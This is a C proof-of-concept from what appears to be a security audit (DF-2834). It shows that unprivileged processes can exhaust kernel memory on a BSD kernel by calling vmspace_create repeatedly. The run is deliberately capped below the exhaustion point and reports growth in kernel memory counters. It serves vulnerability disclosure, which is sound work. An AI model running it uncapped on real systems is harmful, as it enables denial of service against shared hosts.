DF-2834 / vmsp_grow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | /* * DF-2834 PoC -- unbounded vmspace_create kernel-memory exhaustion. * * sys_vm/vmspace.c:146-201 (sys_vmspace_create) consults no rlimit and no * sysctl cap. Each accepted create pins, until process exit: * - 1 WIRED PML4 vm_page (pmap.c:2757 vm_page_wire, via * pmap_pinit -> pmap_allocpte) * - 2 pages (8KB) pageable KVA (pmap.c:2368 kmem_alloc_pageable( * kernel_map, PAGE_SIZE*2, VM_SUBSYS_PML4)) * - sizeof(struct vmspace) objcache (vm_map.c:309 vmspace_alloc, * vm_map.c:233 vmspace_cache) * - sizeof(struct vmspace_entry) (vm_vmspace.c:182 kmalloc M_VKERNEL) * * This program creates `count' vmspaces with distinct ids (no other * resource use) and samples vm.stats.vm.v_wire_count / vm.kvm_free / * vm.stats.vm.v_free_count every `sample' iterations. Optional "-u" * drops to uid/gid 65534 (nobody) first, proving unprivileged reachability. * * The run is deliberately CAPPED below the exhaustion point so the * single-tenant audit guest is not wedged; the growth rate plus the * machine totals give an honest extrapolated time-to-exhaustion. * Process exit must reclaim everything (vkernel_exit -> * rb_vmspace_delete -> vmspace_entry_delete), which run.sh verifies. */ #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/sysctl.h> #include <sys/time.h> #define BASE_ID 0x10000000UL static unsigned long uisys(const char *name) { unsigned int v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { perror(name); exit(3); } return ((unsigned long)v); } static unsigned long ulsys(const char *name) { unsigned long v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { perror(name); exit(3); } return (v); } static double now_ms(void) { struct timeval tv; gettimeofday(&tv, NULL); return ((double)tv.tv_sec * 1000.0 + (double)tv.tv_usec / 1000.0); } int main(int argc, char **argv) { long count = (argc > 1) ? atol(argv[1]) : 20000; long sample = (argc > 2) ? atol(argv[2]) : 2000; int unpriv = (argc > 3 && strcmp(argv[3], "-u") == 0); long i, created = 0; double t0; if (unpriv) { if (setgid(65534) < 0 || setuid(65534) < 0) { perror("privdrop to 65534"); return (2); } } printf("# uid=%d count=%ld sample_every=%ld base_id=0x%lx\n", getuid(), count, sample, BASE_ID); printf("# ITER WIRE KVM_FREE FREE_COUNT ELAPSED_MS\n"); printf("0 %lu %lu %lu 0\n", uisys("vm.stats.vm.v_wire_count"), ulsys("vm.kvm_free"), uisys("vm.stats.vm.v_free_count")); t0 = now_ms(); for (i = 0; i < count; ++i) { long r; errno = 0; r = syscall(SYS_vmspace_create, (void *)(BASE_ID + (unsigned long)i), 0, NULL); if (r != 0) { printf("FAILED iter=%ld rc=%ld errno=%d (%s)\n", i, r, errno, strerror(errno)); printf("1 %lu %lu %lu %.0f\n", uisys("vm.stats.vm.v_wire_count"), ulsys("vm.kvm_free"), uisys("vm.stats.vm.v_free_count"), now_ms() - t0); return (2); } ++created; if ((i + 1) % sample == 0) { printf("%ld %lu %lu %lu %.0f\n", i + 1, uisys("vm.stats.vm.v_wire_count"), ulsys("vm.kvm_free"), uisys("vm.stats.vm.v_free_count"), now_ms() - t0); fflush(stdout); } } printf("# DONE created=%ld uid=%d elapsed=%.0fms -- exiting, " "vkernel_exit must now reclaim all of it\n", created, getuid(), now_ms() - t0); return (0); } |